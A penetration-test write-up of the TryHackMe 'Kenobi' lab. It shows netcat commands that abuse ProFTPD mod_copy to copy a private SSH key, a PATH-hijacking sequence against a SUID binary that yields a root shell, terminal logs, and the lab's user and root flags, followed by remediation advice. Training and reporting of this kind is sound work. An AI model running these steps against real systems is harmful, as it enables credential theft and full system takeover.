Penetration Test Report – Kenobi (TryHackMe)
Prepared by: James DeBerry
Date: March 30, 2026
Assessment Type: Black-Box Penetration Test
Executive Summary
A penetration test was conducted against a Linux-based target system. The assessment identified multiple misconfigurations across SMB, NFS, and FTP services, which were chained together to achieve unauthorized access. Exploitation of the ProFTPD mod_copy vulnerability allowed retrieval of a private SSH key, leading to user-level access. Further analysis revealed a misconfigured SUID binary vulnerable to PATH hijacking, resulting in full root-level compromise.

The successful attack demonstrates insecure service configurations, improper access controls, and privilege escalation vulnerabilities.
Scope
Target IP: 10.144.130.34
Environment: TryHackMe Lab
Testing Methodology: External Black-Box Testing
Methodology
Reconnaissance & Enumeration
Vulnerability Identification
Exploitation
Post-Exploitation & Impact Analysis
Findings Summary
Severity
Critical
Finding
Service Misconfiguration & Privilege Escalation
Detailed Findings
1. ProFTPD mod_copy Exploit & Sensitive File Disclosure
Severity: Critical
Port: 21 (FTP)
Service: ProFTPD 1.3.5

Description
The ProFTPD service was vulnerable to the mod_copy module, which allowed unauthenticated file copying. This was combined with information disclosure from SMB, revealing the location of a private SSH key.

Evidence
SMB share contained log.txt revealing /home/kenobi/.ssh/id_rsa
NFS export of /var allowed writable access
ProFTPD mod_copy exploited using SITE CPFR and SITE CPTO commands

Exploitation
The vulnerability was exploited using netcat to interact with the FTP service:

nc 10.144.130.34 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

The private key was copied into a writable NFS directory and retrieved locally.

The key was then used to authenticate via SSH:
ssh -i id_rsa kenobi@10.144.130.34
Privilege Escalation
A SUID binary (/usr/bin/menu) was identified. The binary executed system commands without specifying full paths, making it vulnerable to PATH hijacking.

Exploit Steps:
echo /bin/bash > curl
chmod +x curl
export PATH=.:$PATH
/usr/bin/menu

This resulted in execution of a malicious binary and a root shell.
Proof of Exploitation
The attacker successfully obtained root-level access:
whoami → root

Root flag retrieved successfully.
Impact
Successful exploitation allows an attacker to:
Gain unauthorized SSH access
Retrieve sensitive credentials
Execute arbitrary commands as root
Achieve full system compromise
Pivot to other systems within the network
Post-Exploitation Findings
System Information
Access Level: Root

Flags Retrieved (Proof of Access)
User Flag: Retrieved successfully
Root Flag: Retrieved successfully

These findings demonstrate complete system compromise.
Risk Assessment
Likelihood: High
Impact: Critical
Overall Risk: Critical

The combination of multiple service misconfigurations allows full system compromise.
Remediation

Disable or restrict ProFTPD mod_copy module
Limit SMB information disclosure
Restrict NFS exports and permissions
Use proper file permissions for sensitive keys
Ensure SUID binaries use absolute paths
Conduct regular security audits
Conclusion
The assessment demonstrated that the target system is critically vulnerable due to multiple chained misconfigurations. Exploitation resulted in unauthorized access, credential compromise, and full root-level control of the system. Immediate remediation is required to prevent real-world exploitation.
Appendix
Tools Used
Nmap
Smbclient
NFS Tools
Netcat
SSH
Linux Privilege Escalation Techniques

```
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
2049/tcp  open  nfs_acl     3 (RPC #100227)
41081/tcp open  mountd      1-3 (RPC #100005)
44811/tcp open  nlockmgr    1-4 (RPC #100021)
49649/tcp open  mountd      1-3 (RPC #100005)
51229/tcp open  mountd      1-3 (RPC #100005)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linu
```

```
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (
2 KiloBytes/sec)
smb: \> exit
root@ip-10-144-70-77:~# cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenob
Created directory '/home/kenobi/.ssh'.
```

```
root@ip-10-144-70-77:~# searchsploit ProFtpd 1.3
---------------------------------------------- -
 Exploit Title                                 |
---------------------------------------------- -
ProFTPd 1.3.5 - 'mod_copy' Command Execution   |
ProFTPd 1.3.5 - 'mod_copy' Remote Command Exe |
ProFTPd 1.3.5 - 'mod_copy' Remote Command Exe |
ProFTPd 1.3.5 - File Copy                      |
---------------------------------------------- -
```

```
root@ip-10-144-70-77:/tmp/nfs/tmp# cp /tmp/nfs/tm
root@ip-10-144-70-77:/tmp/nfs/tmp# chmod 600 /roo
root@ip-10-144-70-77:/tmp/nfs/tmp# ssh -i /root/i
The authenticity of host '10.144.130.34 (10.144.1
ECDSA key fingerprint is SHA256:TqnVS9GgXJc09N+s(
Are you sure you want to continue connecting (yes
Warning: Permanently added '10.144.130.34' (ECDSA
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-1
```

```
kenobi@kenobi:~$ whoami
kenobi
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
kenobi@kenobi:~$
```

```
kenobi@kenobi:~$ echo /bin/bash > curl
kenobi@kenobi:~$ chmod +x curl
kenobi@kenobi:~$ export PATH=.:$PATH
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
To run a command as administrator (user "root"),
See "man sudo_root" for details.

root@kenobi:~# whoami
root
root@kenobi:~# cd /root
root@kenobi:/root# ls
root.txt  snap
root@kenobi:/root# cat root.txt
177b3cd8562289f37382721c28381f02
root@kenobi:/root#
```

Prepared by: James DeBerry
Penetration Tester